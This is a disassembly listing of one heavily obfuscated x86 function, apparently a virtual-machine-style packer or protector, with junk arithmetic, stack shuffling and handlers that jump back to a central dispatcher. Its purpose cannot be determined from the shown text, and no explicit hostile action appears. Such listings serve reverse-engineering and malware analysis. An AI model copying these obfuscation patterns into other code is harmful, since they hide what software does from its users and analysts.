		push	[esp-6EC4h+arg_6EBA+2]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EC0h+arg_6EB6+2]
		pop	esp
		or	eax, eax
		jz	loc_587902
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 0C066391h
		add	[esp-6EBCh+arg_6EB6+2],	esi
		pop	esi
		jmp	loc_58874E
; ---------------------------------------------------------------------------


loc_58C601:				; CODE XREF: sub_581EE9+B8E6j
		add	al, bh
		jmp	loc_58C180
; ---------------------------------------------------------------------------


loc_58C608:				; CODE XREF: sub_581EE9+D3ABj
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	ebx
		push	640Dh
		jmp	loc_58D1B0
; ---------------------------------------------------------------------------


loc_58C618:				; CODE XREF: sub_581EE9+89A7j
		mov	[esp-6ECEh+arg_6EC6], ebx
		push	[esp-6ECEh+arg_6EC6]
		pop	eax
		push	1DBEh
		mov	[esp-6ECAh+arg_6EC2], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_590580
; ---------------------------------------------------------------------------


loc_58C63B:				; DATA XREF: sub_581EE9+3CABo
		mov	cx, word ptr [esp-6EC6h+arg_6EBE]
		push	44CDh
		mov	[esp-6EC2h+arg_6EBA], ebp
		jmp	loc_587B77
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EC2h+arg_6EBA]
		push	edi
		mov	edi, esp
		push	2671h
		mov	[esp-6EBAh+arg_6EB2], esi
		mov	esi, 76333977h
		add	esi, 1
		sub	esi, 5D6912B2h
		push	edx
		mov	edx, 41116889h
		or	edx, 3CD029C8h
		jmp	loc_5877C6
; ---------------------------------------------------------------------------


loc_58C67D:				; CODE XREF: sub_581EE9+DDFDj
		mov	[esp-6EB6h+arg_6EAC+2],	edx
		jmp	loc_58B486
; ---------------------------------------------------------------------------


loc_58C685:				; CODE XREF: sub_581EE9+E8F5j
		xor	[esp-6EB6h+arg_6EAC+2],	eax
		jmp	loc_590C54
; ---------------------------------------------------------------------------


loc_58C68D:				; CODE XREF: sub_581EE9+3F37j
		add	ebx, edi
		jmp	loc_58F7B0
; ---------------------------------------------------------------------------


loc_58C694:				; CODE XREF: sub_581EE9+83E9j
		shr	ah, 3
		jmp	loc_58A1DB
; ---------------------------------------------------------------------------


loc_58C69C:				; CODE XREF: sub_581EE9+DFA2j
		mov	ebp, esp
		jmp	loc_58FF3F
; ---------------------------------------------------------------------------


loc_58C6A3:				; CODE XREF: sub_581EE9+A941j
		pop	ecx
		push	edi
		push	[esp-6EC0h+arg_6EBA+2]
		jmp	loc_58E6D0
; ---------------------------------------------------------------------------


loc_58C6AE:				; CODE XREF: sub_581EE9+9FC8j
		pop	ecx
		add	esi, 5EAA09FFh
		push	ebp
		mov	ebp, 39462607h
		shl	ebp, 5
		jmp	loc_59186F
; ---------------------------------------------------------------------------


loc_58C6C3:				; CODE XREF: sub_581EE9+EE91j
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_589B6A
; ---------------------------------------------------------------------------


loc_58C6D2:				; CODE XREF: sub_581EE9+6528j
		sub	ebp, 4D010F7Ch
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-6E94h+arg_6E8A+2]
		jmp	loc_58F4C1
; ---------------------------------------------------------------------------


loc_58C6E3:				; CODE XREF: sub_581EE9+A806j
		add	edx, 4
		xchg	edx, [esp-6E94h+arg_6E8A+2]
		jmp	loc_586B30
; ---------------------------------------------------------------------------


loc_58C6EE:				; CODE XREF: sub_581EE9+B783j
		pop	ebp
		jmp	loc_58C6E3
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 24h
		add	al, 22h
		jmp	loc_58A241
; ---------------------------------------------------------------------------


loc_58C6FE:				; CODE XREF: sub_581EE9+A09Bj
		pop	ebp
		jmp	loc_587FDB
; ---------------------------------------------------------------------------


loc_58C704:				; CODE XREF: sub_581EE9+6BADj
		add	eax, edi
		jmp	loc_58A350
; ---------------------------------------------------------------------------


loc_58C70B:				; DATA XREF: sub_581EE9+3B03o
		mov	sp, word ptr [esp-6EF6h+arg_6EEC+2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C714:				; CODE XREF: sub_581EE9+8953j
		sub	ebx, 4
		xchg	ebx, [esp-6F06h+arg_6EFE]
		jmp	loc_5890B6
; ---------------------------------------------------------------------------


loc_58C71F:				; CODE XREF: sub_581EE9+7800j
		mov	[esp+0], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 79442B84h
		xor	eax, 0A0343A1h
		not	eax
		jmp	loc_590C62
; ---------------------------------------------------------------------------


loc_58C736:				; DATA XREF: sub_581EE9+3BE7o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp-6EE0h+arg_6ED6+2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C746:				; CODE XREF: sub_581EE9+B137j
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5868AA
; ---------------------------------------------------------------------------


loc_58C752:				; CODE XREF: sub_581EE9+CE08j
		push	eax
		jmp	loc_587FE6
; ---------------------------------------------------------------------------


loc_58C758:				; CODE XREF: sub_581EE9+D5AEj
		push	4352h
		jmp	loc_586E6B
; ---------------------------------------------------------------------------


loc_58C762:				; CODE XREF: sub_581EE9+41C0j
		shl	edx, 6
		neg	edx
		xor	edx, 4A2FD034h
		add	edi, 520E54A0h
		add	edi, edx
		sub	edi, 520E54A0h
		pop	edx
		sub	edi, esi
		push	ecx
		mov	ecx, 3F7D395Ah
		neg	ecx
		inc	ecx
		xor	ecx, 91DEF593h
		sub	edi, ecx
		pop	ecx
		mov	esi, [esp-6EC6h+arg_6EBE]
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp-6EC2h+arg_6EBA]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C7B2:				; CODE XREF: sub_581EE9+AE8Bj
		sub	ebx, 44BE44CCh
		pop	small word ptr [eax]
		jmp	loc_58BD2C
; ---------------------------------------------------------------------------


loc_58C7C0:				; CODE XREF: sub_581EE9+7566j
		mov	[esp-6EEEh+arg_6EE4+2],	edi
		push	esp
		jmp	loc_58A665
; ---------------------------------------------------------------------------


loc_58C7C9:				; CODE XREF: sub_581EE9+5B90j
		mov	dl, al
		mov	bh, dl
		pop	edx
		jmp	loc_58D32E
; ---------------------------------------------------------------------------


loc_58C7D3:				; CODE XREF: sub_581EE9+B24Ej
		mov	edx, 4
		jmp	loc_58A1AA
; ---------------------------------------------------------------------------


loc_58C7DD:				; CODE XREF: sub_581EE9+6BBEj
		add	ecx, edi
		jmp	loc_58735A
; ---------------------------------------------------------------------------


loc_58C7E4:				; CODE XREF: sub_581EE9+EA1Bj
		pop	ecx
		push	4C79h
		mov	[esp-6EF6h+arg_6EEC+2],	ebp
		mov	ebp, 1869671Ch
		jmp	loc_58D237
; ---------------------------------------------------------------------------


loc_58C7F7:				; CODE XREF: sub_581EE9+B02Cj
		xor	eax, ebx
		push	edx
		mov	edx, 40504E7Ch
		add	eax, edx
		push	[esp-6EF2h+arg_6EE8+2]
		push	dword ptr [esp]
		jmp	loc_58F9D6
; ---------------------------------------------------------------------------


loc_58C80C:				; CODE XREF: sub_581EE9+E76Bj
		sub	al, 0B5h
		sub	al, 74h
		sub	al, dh
		push	edx
		mov	dh, 0AFh
		inc	dh
		shr	dh, 7
		not	dh
		push	ecx
		jmp	loc_589795
; ---------------------------------------------------------------------------


loc_58C822:				; CODE XREF: sub_581EE9+D2CCj
		add	edi, ecx
		add	edi, 3E0D71FBh
		jmp	loc_58C6A3
; ---------------------------------------------------------------------------


loc_58C82F:				; CODE XREF: sub_581EE9+57C3j
		mov	ebx, 2ECC7BBAh
		and	ebx, 38E905C8h
		and	ebx, 3B7048B2h
		add	ebx, 9966726Bh
		jmp	loc_58BF10
; ---------------------------------------------------------------------------


loc_58C84B:				; CODE XREF: sub_581EE9+F017j
		push	36FAh
		mov	[esp-6EFEh+arg_6EF6], eax
		jmp	loc_586A92
; ---------------------------------------------------------------------------


loc_58C858:				; CODE XREF: sub_581EE9+C380j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-6F02h+arg_6EFA]
		mov	esp, [esp-6F02h+arg_6EFA]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C86B:				; DATA XREF: sub_581EE9+3D7Fo
		lodsd
		sub	esp, 4
		jmp	loc_58F746
; ---------------------------------------------------------------------------


loc_58C877:				; CODE XREF: sub_581EE9+5AB8j
		push	edx
		push	0
		push	[esp-6EF2h+arg_6EE8+2]
		push	[esp-6EEEh+arg_6EE4+2]
		pop	edx
		add	esp, 4
		jmp	loc_588EB3
; ---------------------------------------------------------------------------


loc_58C88F:				; CODE XREF: sub_581EE9+7593j
		mov	[esp-6ED6h+arg_6ECE], ebp
		mov	ebp, 59AA42BDh
		mov	ecx, ebp
		pop	ebp
		sub	eax, 58C14D10h
		jmp	loc_5905DF
; ---------------------------------------------------------------------------


loc_58C8A4:				; CODE XREF: sub_581EE9+E3EDj
		add	ebp, ebx
		jmp	loc_58CC7E
; ---------------------------------------------------------------------------


loc_58C8AB:				; CODE XREF: sub_581EE9+47A1j
		sub	esp, 4
		mov	[esp-6EFAh+arg_6EF0+2],	ecx
		jmp	loc_58B126
; ---------------------------------------------------------------------------


loc_58C8B6:				; CODE XREF: sub_581EE9+C8E5j
		mov	esi, [esp-6EFAh+arg_6EF0+2]
		add	esp, 4
		jmp	loc_58C58B
; ---------------------------------------------------------------------------


loc_58C8C1:				; CODE XREF: sub_581EE9+7D87j
		mov	ecx, edx
		pop	edx
		and	edi, ecx
		pop	ecx
		push	1E1Dh
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		jmp	loc_58A346
; ---------------------------------------------------------------------------


loc_58C8D4:				; CODE XREF: sub_581EE9+EEF6j
		mov	ecx, eax
		pop	eax
		push	ebp
		jmp	loc_58B8C3
; ---------------------------------------------------------------------------


loc_58C8DD:				; CODE XREF: sub_581EE9+594Dj
		add	esp, 4
		push	dword ptr [ebx]
		add	[esp-6EC0h+arg_6EB6+2],	719C7337h
		jmp	loc_58F13B
; ---------------------------------------------------------------------------


loc_58C8F1:				; CODE XREF: sub_581EE9+8E4Fj
		sub	esp, 2
		mov	word ptr [esp-6E88h+arg_6E80], dx
		mov	dh, 0B4h
		add	al, dh
		pop	dx
		jmp	loc_591B63
; ---------------------------------------------------------------------------


loc_58C903:				; CODE XREF: sub_581EE9+9F4Dj
		mov	[esp-6ED2h+arg_6ECA], ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_58E0ED
; ---------------------------------------------------------------------------


loc_58C915:				; CODE XREF: sub_581EE9+BE63j
		or	dl, 71h
		add	dl, 4
		jmp	loc_58F11E
; ---------------------------------------------------------------------------


loc_58C920:				; CODE XREF: sub_581EE9+65EEj
		mov	edi, 51B169B3h
		and	edi, 19667FAEh
		dec	edi
		jmp	loc_58BA58
; ---------------------------------------------------------------------------


loc_58C931:				; CODE XREF: sub_581EE9+7887j
		push	dword ptr [esp+0]
		jmp	loc_5891EE
; ---------------------------------------------------------------------------


loc_58C939:				; CODE XREF: sub_581EE9+4511j
		mov	ax, 4C0Ch
		xor	ax, 140Ch
		shr	ax, 2
		sub	ax, 62A6h
		jmp	loc_590F84
; ---------------------------------------------------------------------------


loc_58C94E:				; CODE XREF: sub_581EE9+525Fj
		mov	ebx, 4
		push	edi
		mov	edi, 201971B1h
		and	edi, 281C25FFh
		xor	edi, 4FB049FAh
		add	edi, 1BC81E1Ah
		add	edi, 9DAC876Fh
		add	esi, edi
		jmp	loc_59076B
; ---------------------------------------------------------------------------


loc_58C978:				; CODE XREF: sub_581EE9+B922j
		xor	[esp-6EE0h+arg_6ED6+2],	eax
		xor	eax, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		inc	byte ptr [esp-6EE4h+arg_6EDC]
		pushf
		jmp	loc_58BE3B
; ---------------------------------------------------------------------------


loc_58C988:				; CODE XREF: sub_581EE9+FC58j
		add	esp, 4
		add	edx, 9165E55h
		add	edx, ebp
		sub	edx, 9165E55h
		mov	ebp, [esp-6EE4h+arg_6EDC]
		add	esp, 4
		xchg	edx, [esp-6EE8h+arg_6EE0]
		pop	esp
		add	byte ptr [esp-6EECh+arg_6EE4], al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58C9B2:				; CODE XREF: sub_581EE9+B4A6j
		mov	edi, 1DD92961h
		or	edi, 0DA74DAAh
		jmp	loc_59085A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EE8h+arg_6EE0]
		push	ecx
		jmp	loc_590BD0
; ---------------------------------------------------------------------------


loc_58C9CC:				; CODE XREF: sub_581EE9+A4A7j
		add	edi, 1AAE4070h
		jmp	loc_5876EC
; ---------------------------------------------------------------------------


loc_58C9D7:				; CODE XREF: sub_581EE9+4768j
		inc	bl
		add	bl, 1Ah
		and	dh, bl
		pop	ebx
		jmp	loc_58F2FD
; ---------------------------------------------------------------------------


loc_58C9E4:				; CODE XREF: sub_581EE9+4DB9j
		push	ebp
		mov	ebp, 626A11C7h
		push	eax
		jmp	loc_58DC34
; ---------------------------------------------------------------------------


loc_58C9F0:				; CODE XREF: sub_581EE9+F573j
		push	ebp
		push	edx
		mov	edx, 5A843335h
		not	edx
		shr	edx, 8
		dec	edx
		shr	edx, 3
		add	edx, 0FFEB5087h
		mov	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		add	ecx, edx
		push	ebx
		mov	ebx, 0
		sub	ebx, 41796E48h
		add	ebx, ecx
		add	ebx, 41796E48h
		mov	[ebx], al
		pop	ebx
		push	[esp-6EBAh+arg_6EB2]
		mov	ecx, [esp-6EB6h+arg_6EAC+2]
		jmp	loc_5886AB
; ---------------------------------------------------------------------------


loc_58CA30:				; CODE XREF: sub_581EE9+F8E9j
		xchg	ebp, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_58F338
; ---------------------------------------------------------------------------


loc_58CA42:				; CODE XREF: sub_581EE9+ECC0j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5918C3
; ---------------------------------------------------------------------------


loc_58CA4F:				; CODE XREF: sub_581EE9+68DDj
		push	[esp-6ECCh+arg_6EC6+2]
		pop	ecx
		pop	[esp-6ECCh+arg_6EC2+2]
		mov	esp, [esp-6ED0h+arg_6EC6+2]
		xor	[esp-6ED0h+arg_6EC6+2],	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58CA63:				; CODE XREF: sub_581EE9+B7C0j
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	edi
		mov	edi, 2
		add	ebx, 24756338h
		jmp	loc_587F8E
; ---------------------------------------------------------------------------


loc_58CA7C:				; CODE XREF: sub_581EE9+9E39j
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 4856232Eh
		sub	ecx, 41963C9Eh
		add	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		push	esi
		mov	esi, 8C06CC3h
		jmp	loc_5865AD
; ---------------------------------------------------------------------------


loc_58CA9C:				; CODE XREF: sub_581EE9+8375j
		mov	edi, [esp-6EC2h+arg_6EBA]
		jmp	loc_586ED2
; ---------------------------------------------------------------------------


loc_58CAA4:				; CODE XREF: sub_581EE9+C85Cj
		mov	[esp-6EC2h+arg_6EBA], esi
		jmp	loc_58FAB0
; ---------------------------------------------------------------------------


loc_58CAAC:				; CODE XREF: sub_581EE9+3FCAj
		add	[esp-6ECCh+arg_6EC2+2],	4
		pop	ebp
		add	ebp, 4
		push	134h
		mov	[esp-6ECCh+arg_6EC2+2],	eax
		push	edx
		push	2
		pop	edx
		mov	eax, edx
		jmp	loc_590D2B
; ---------------------------------------------------------------------------


loc_58CACD:				; CODE XREF: sub_581EE9+E7F8j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		push	eax
		mov	ah, 89h
		shl	ah, 4
		push	ecx
		mov	cl, 34h
		jmp	loc_59129D
; ---------------------------------------------------------------------------


loc_58CAE7:				; CODE XREF: sub_581EE9+E30Dj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6EC8h+arg_6EBE+2],	ebp
		push	esi
		mov	esi, 70226902h
		mov	ebp, 63384253h
		dec	ebp
		xor	ebp, 8BC3D11Fh
		jmp	loc_5909CC
; ---------------------------------------------------------------------------


loc_58CB0E:				; CODE XREF: sub_581EE9+FC6Cj
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		push	5371h
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		push	esp
		pop	ecx
		jmp	loc_58C4D5
; ---------------------------------------------------------------------------


loc_58CB20:				; CODE XREF: sub_581EE9+85C9j
		shl	ecx, 3
		xor	ecx, 92B2BD34h
		mov	esi, ecx
		jmp	loc_5910A5
; ---------------------------------------------------------------------------


loc_58CB30:				; CODE XREF: sub_581EE9+BD60j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58CB3C:				; CODE XREF: sub_581EE9+BAE9j
		xor	ebp, [esp-6E86h+arg_6E7C+2]
		mov	esp, [esp-6E86h+arg_6E7C+2]
		jmp	loc_5864AD
; ---------------------------------------------------------------------------


loc_58CB47:				; CODE XREF: sub_581EE9+F201j
		add	edi, 4
		xchg	edi, [esp-6E86h+arg_6E7C+2]
		jmp	loc_58FEB7
; ---------------------------------------------------------------------------


loc_58CB55:				; CODE XREF: sub_581EE9+C808j
		mov	edx, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		push	7A22h
		mov	[esp-6E86h+arg_6E7C+2],	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	eax
		jmp	loc_589DA4
; ---------------------------------------------------------------------------


loc_58CB73:				; CODE XREF: sub_581EE9+B980j
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebp
		mov	ebp, 7B03380Fh
		xor	ebp, 7B03380Bh
		jmp	loc_5907D8
; ---------------------------------------------------------------------------


loc_58CB86:				; CODE XREF: sub_581EE9+625Aj
		pop	ebx
		push	edx
		mov	dl, 73h
		push	cx
		push	eax
		mov	al, 6Fh
		jmp	loc_589775
; ---------------------------------------------------------------------------


loc_58CB94:				; CODE XREF: sub_581EE9+48D3j
		not	cl
		push	bx
		mov	bh, 0B3h
		sub	cl, bh
		pop	bx
		jmp	loc_58F22C
; ---------------------------------------------------------------------------


loc_58CBA3:				; CODE XREF: sub_581EE9+A672j
		pop	[esp-6EECh+arg_6EE4]
		pop	esp
		add	esp, 4
		push	1813h
		mov	[esp-6EF4h+arg_6EEC], ebp
		push	edx
		push	64BC1A49h
		jmp	loc_589C75
; ---------------------------------------------------------------------------


loc_58CBC0:				; DATA XREF: sub_581EE9+3BD3o
		push	[esp-6EECh+arg_6EE4]
		pop	eax
		jmp	loc_58D86E
; ---------------------------------------------------------------------------


loc_58CBC9:				; CODE XREF: sub_581EE9+D90Aj
		xor	eax, ebx
		push	4A9h
		mov	[esp-6EE8h+arg_6EE0], edi
		push	432C00A1h
		pop	edi
		inc	edi
		push	eax
		jmp	loc_5887CB
; ---------------------------------------------------------------------------


loc_58CBE0:				; CODE XREF: sub_581EE9+FC36j
		mov	ebx, 8C10FCEh
		sub	ebx, 1
		shl	ebx, 3
		jmp	loc_58AE1A
; ---------------------------------------------------------------------------


loc_58CBF3:				; CODE XREF: sub_581EE9+5053j
		pop	ebx
		push	eax
		jmp	loc_587168
; ---------------------------------------------------------------------------


loc_58CBFA:				; CODE XREF: sub_581EE9+7C6Ej
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_58DCDB
; ---------------------------------------------------------------------------


loc_58CC0C:				; CODE XREF: sub_581EE9+585Ej
		and	[edi+1Ch], eax
		mov	eax, [esp-6ECAh+arg_6EC2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EC6h+arg_6EBE]
		jmp	loc_591900
; ---------------------------------------------------------------------------


loc_58CC27:				; CODE XREF: sub_581EE9+4A48j
		push	ecx
		mov	ecx, 9C228C46h
		add	edx, 0D4D1BE5h
		sub	edx, ecx
		sub	edx, 0D4D1BE5h
		pop	ecx
		mov	edi, edx
		pop	edx
		xor	edi, 1199205Bh
		push	edi
		mov	esi, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		push	[esp-6ED8h+arg_6ECE+2]
		jmp	loc_591547
; ---------------------------------------------------------------------------


loc_58CC54:				; CODE XREF: sub_581EE9+6431j
		pop	edi
		push	edi
		jmp	loc_590DB4
; ---------------------------------------------------------------------------


loc_58CC5B:				; CODE XREF: sub_581EE9+BACDj
		inc	esi
		shr	esi, 3
		push	0F86h
		mov	[esp-6ED6h+arg_6ECE], ecx
		mov	ecx, 7B732941h
		add	esi, ecx
		mov	ecx, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_58B25E
; ---------------------------------------------------------------------------


loc_58CC7E:				; CODE XREF: sub_581EE9+A9BDj
		push	ebx
		mov	ebx, 4C37318Dh
		sub	ebp, ebx
		mov	ebx, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		pop	ebx
		add	ebp, 2
		push	ebp
		push	[esp-6EDAh+arg_6ED6]
		pop	ebp
		pop	[esp-6EDAh+arg_6ED2]
		mov	esp, [esp-6EDEh+arg_6ED6]
		mov	ax, word ptr [esp-6EDEh+arg_6ED6]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		sub	esp, 4
		mov	[esp-6ED2h+arg_6ECA], edx
		push	ecx
		push	5AC45BF7h
		pop	ecx
		sub	ecx, 5AC45BF5h
		push	ecx
		add	[esp-6ECAh+arg_6EC2], 41E213D9h
		pop	edx
		sub	edx, 41E213D9h
		pop	ecx
		jmp	loc_587FBB
; ---------------------------------------------------------------------------


loc_58CCD2:				; CODE XREF: sub_581EE9+EAFBj
		inc	ebp
		not	ebp
		not	ebp
		push	ebp
		inc	[esp-6ECEh+arg_6EC6]
		jmp	loc_58A299
; ---------------------------------------------------------------------------


loc_58CCE0:				; CODE XREF: sub_581EE9+4F10j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58CCE5:				; CODE XREF: sub_581EE9+7138j
		push	ax
		mov	al, 0BCh
		sub	bl, al
		pop	ax
		mov	cx, word ptr [esp-6EA8h+arg_6E9E+2]
		add	esp, 2
		movzx	eax, al
		mov	dx, word ptr [esp-6EACh+arg_6EA4]
		push	3812h
		mov	[esp-6EA8h+arg_6E9E+2],	edx
		push	esp
		mov	edx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		add	edx, 4
		push	eax
		push	ecx
		push	5F42782Dh
		pop	ecx
		inc	ecx
		jmp	loc_589631
; ---------------------------------------------------------------------------


loc_58CD21:				; CODE XREF: sub_581EE9+4835j
		mov	ecx, 11A636D7h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 76495491h
		sub	ebx, 67D2BDEDh
		mov	esi, ebx
		pop	ebx
		push	ecx
		push	edx
		jmp	loc_58A4BE
; ---------------------------------------------------------------------------


loc_58CD3F:				; CODE XREF: sub_581EE9+F99Dj
		xor	ebp, 3D6800BDh
		jmp	loc_58E1DD
; ---------------------------------------------------------------------------


loc_58CD4A:				; CODE XREF: sub_581EE9+716Ej
		sub	ebx, ecx
		push	eax
		jmp	loc_58DD57
; ---------------------------------------------------------------------------


loc_58CD52:				; CODE XREF: sub_581EE9+F5F7j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EB2h+arg_6EA8+2]
		mov	esp, [esp-6EB2h+arg_6EA8+2]
		add	ebx, 6892FD5h
		add	ebx, eax
		push	edx
		mov	edx, 6892FD5h
		sub	ebx, edx
		pop	edx
		jmp	loc_58C7B2
; ---------------------------------------------------------------------------


loc_58CD79:				; CODE XREF: sub_581EE9+C7B5j
		add	esp, 4
		jmp	loc_58D6AE
; ---------------------------------------------------------------------------


loc_58CD84:				; CODE XREF: sub_581EE9+5146j
		mov	edi, [esp-6EEEh+arg_6EE4+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_586F96
; ---------------------------------------------------------------------------


loc_58CD95:				; CODE XREF: sub_581EE9+5370j
		pop	edx
		add	al, 0B5h
		mov	dx, word ptr [esp-6EFEh+arg_6EF6]
		push	esi
		mov	esi, esp
		jmp	loc_58B86C
; ---------------------------------------------------------------------------


loc_58CDA4:				; CODE XREF: sub_581EE9+BF02j
		pop	cx
		add	dl, 52h
		sub	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_58BEBD
; ---------------------------------------------------------------------------


loc_58CDBA:				; CODE XREF: sub_581EE9+6702j
		add	esp, 4
		push	2790h
		mov	[esp-6ECEh+arg_6EC6], esi
		push	ebx
		mov	ebx, 3BD70B3Dh
		jmp	loc_5891C6
; ---------------------------------------------------------------------------


loc_58CDD0:				; CODE XREF: sub_581EE9+57DEj
		add	ebx, 53DD7984h
		jmp	loc_58A156
; ---------------------------------------------------------------------------


loc_58CDDB:				; CODE XREF: sub_581EE9+465Dj
		push	ebx
		jmp	loc_58E87F
; ---------------------------------------------------------------------------


loc_58CDE1:				; DATA XREF: sub_581EE9+3C7Bo
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_58D431
; ---------------------------------------------------------------------------


loc_58CDEC:				; CODE XREF: sub_581EE9+DCC1j
		add	eax, 57147AA9h
		add	eax, 123D5BA9h
		add	eax, esi
		sub	eax, 123D5BA9h
		jmp	loc_58F7A6
; ---------------------------------------------------------------------------


loc_58CE02:				; CODE XREF: sub_581EE9+CB8Fj
		push	ecx
		jmp	loc_5913A0
; ---------------------------------------------------------------------------


loc_58CE08:				; CODE XREF: sub_581EE9+D47Bj
		add	edx, 1FAE3E27h
		shr	edx, 3
		push	ebp
		mov	ebp, 53DD0F1Eh
		sub	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 5DAC3FB3h
		and	esi, 7ECE0DEBh
		shr	esi, 6
		xor	esi, 0B435650Dh
		xor	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		jmp	loc_58C3AB
; ---------------------------------------------------------------------------


loc_58CE3A:				; CODE XREF: sub_581EE9+44C7j
		sub	esp, 2
		mov	word ptr [esp-6EE0h+arg_6ED6+2], cx
		mov	ch, 80h
		xor	al, ch
		jmp	loc_587A71
; ---------------------------------------------------------------------------


loc_58CE4D:				; CODE XREF: sub_581EE9+7300j
		dec	ch
		push	eax
		jmp	loc_59121C
; ---------------------------------------------------------------------------


loc_58CE55:				; CODE XREF: sub_581EE9+EFE8j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EC0h+arg_6EB6+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	eax
		mov	eax, 1CDB3E25h
		add	eax, 0E324C1DFh
		sub	esi, 18B17327h
		add	esi, eax
		jmp	loc_586AFC
; ---------------------------------------------------------------------------


loc_58CE80:				; CODE XREF: sub_581EE9+F8BEj
		push	edi
		jmp	loc_589D0C
; ---------------------------------------------------------------------------


loc_58CE86:				; CODE XREF: sub_581EE9+D746j
		pop	esp
		shl	[esp-6EC0h+arg_6EB6+2],	cl
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58CE8F:				; CODE XREF: sub_581EE9+B5A9j
		add	eax, 58544318h
		xor	eax, 0D40EDEBCh
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	ebp
		mov	ebp, eax
		mov	edi, ebp
		jmp	loc_587ABE
; ---------------------------------------------------------------------------


loc_58CEA8:				; CODE XREF: sub_581EE9+8430j
		push	edi
		jmp	loc_58FB0F
; ---------------------------------------------------------------------------


loc_58CEAE:				; CODE XREF: sub_581EE9+896Ej
		sub	ch, 0C4h
		add	ch, 4Eh
		xor	ch, 0Eh
		add	bl, ch
		mov	ecx, [esp-6ECEh+arg_6EC6]
		add	esp, 4
		jmp	loc_58D53E
; ---------------------------------------------------------------------------


loc_58CEC4:				; CODE XREF: sub_581EE9+DD5Bj
		mov	esi, eax
		jmp	loc_590685
; ---------------------------------------------------------------------------


loc_58CECB:				; CODE XREF: sub_581EE9+8DF4j
		add	bh, ch
		add	bh, 95h
		pop	ecx
		push	bx
		jmp	loc_58905C
; ---------------------------------------------------------------------------


loc_58CED8:				; CODE XREF: sub_581EE9+CB9Ej
		push	bx
		not	byte ptr [esp+0]
		pop	bx
		jmp	loc_5905EF
; ---------------------------------------------------------------------------


loc_58CEE4:				; DATA XREF: sub_581EE9+3C5Fo
		push	[esp-6EE4h+arg_6EE0]
		push	[esp-6EE0h+arg_6ED6+2]
		pop	eax
		jmp	loc_589E59
; ---------------------------------------------------------------------------


loc_58CEF1:				; CODE XREF: sub_581EE9+BFF1j
		push	2FBFh
		mov	[esp-6EDCh+arg_6ED2+2],	ecx
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		mov	eax, 0
		add	eax, ecx
		add	[eax], edx
		pop	eax
		mov	ecx, [esp-6EDCh+arg_6ED2+2]
		push	edx
		jmp	loc_58FEF0
